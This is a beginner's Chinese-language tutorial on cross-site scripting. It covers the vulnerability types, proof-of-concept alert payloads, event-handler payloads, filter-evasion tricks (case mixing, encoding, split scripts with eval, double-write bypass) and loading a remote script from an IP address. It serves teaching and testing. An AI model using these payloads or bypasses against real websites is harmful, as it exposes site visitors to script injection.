XSS基础
XSS的基本概念
XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意的特殊目的。XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性。xss是一种发生在web前端的漏洞,所以其危害的对象也主要是前端用户。
漏洞原因
(或者说是XSS原理)当动态页面中插入的内容含有这些特殊字符时,正好你要访问的服务器并没有对用户的输入进行安全方面的验证,用户浏览器会将其误认为是插入了HTML标签,当这些HTML标签引入了一段JavaScript脚本时,这些脚本程序就将会在用户浏览器中执行。所以,当这些特殊字符不能被动态页面检查或检查出现失误时,就将会产生XSS漏洞。
验证XSS漏洞存在
POC:漏洞的验证和检测。
验证XSS漏洞的POC如下:
<script>alert(xss)</script> 常用
<script>confirm(xss)</script>
<script>prompt(xss)</script>
反射型XSS
XSS代码提交到服务端,服务器解析后,在响应内容中返回输入的XSS代码,最终由浏览器解释执行。
存储型XSS
攻击者提交XSS代码后,服务器会将其储存于数据库中,其他用户访问后,服务器将含有XSS代码的数据输出在HTTP响应中。
DOM型XSS
较为特殊:构造的XSS代码在浏览器本地修改DOM树而执行,并不会传到服务器上,所以更难解决。如果用户在客户端输入的数据包含了恶意的 JavaScript 脚本,而这些脚本没有经过适当的过滤和消毒,那么应用程序就可能受到 DOM-based XSS 攻击。需要特别注意以下的用户输入源 document.URL、 location.hash、 location.search、 document.referrer 等。
构造XSS代码
1.利用<>构造HTML标签和
<a href="javascript:alert(xss)">touch me!</a>
点击超链接即可触发XSS。
也可以使用img标签的伪协议,这种方法只在IE6下测试成功
<img src="javascript:alert(xss)">
3.事件驱动
事件 | 解释 |
---|---|
Keyboard事件 | 键盘按键触发的事件 |
Mouse事件 | 由鼠标或类似用户动作触发的事件 |
Form事件 | 对HTML表单动作触发的事件 |
Windows事件 | 对windows对象触发的事件 |
例:
<img src=’./hello.jpg’ onmouseover='alert(xss)'>
这个标签会引入一个图片,然后鼠标悬停在图片上的时候,会触发XSS代码。
<input type="button" onclick="alert(xss)">
点击按钮,会触发XSS代码
<img src='#' onerror='alert(xss)'>
图片发生错误时,会触发XSS代码
其他标签及手法:
<svg onload="alert(xss)">
<input onfocus='alert(xss)' autofocus>
大家可以自行探索会发生的情况。
XSS变换
1.大小写转换:
例:<iMg sRc='#' Onerror="alert(xss)"/>
<a hREf="javascript:alert(xss)">click me</a>
2.引号的使用
HTML对引号不敏感,但是某些过滤函数对引号敏感。
<img src="#" onerror="alert(xss)"/>
<img src='#' onerror='alert(xss)'/>
<img src=# onerror=alert(xss)/>
3.用/代替空格
例:<img/src='#'/onerror='alert(xss)'/>
4.在一些地方添加tab(水平制表符)和回车符,来绕过关键字的检测
<img src='#' onerror='alert(xss)' />
<a href="javas
cript:alert(xss)">click me</a>
5.对标签属性进行编码
字母 | ascii码 | 十进制编码 | 十六进制编码 |
---|---|---|---|
a | 97 | a | a |
e | 101 | e | e |
字母 | 十六进制编码 |
---|---|
Tab | 	 |
换行符 | 
 |
回车符 | 
 |
6.拆分跨站
<script>z='alert'</script>
<script>z=z+'(xss)'</script>
<script>eval(z)</script>
7.双写绕过
<scr<script>ipt>
8.远程运用shellcode
远程利用JS:将JS代码单独放在一个JS文件中,然后通过HTTP协议加载。
例:<script src="http://192.168.1.0/xss_test/xss.js"></script>
Xss.js的内容如下:alert(‘xss.js’);
结语
一个小白对xss漏洞的一点点小理解,希望大家能够有所收获。如有错误,欢迎大家赐教。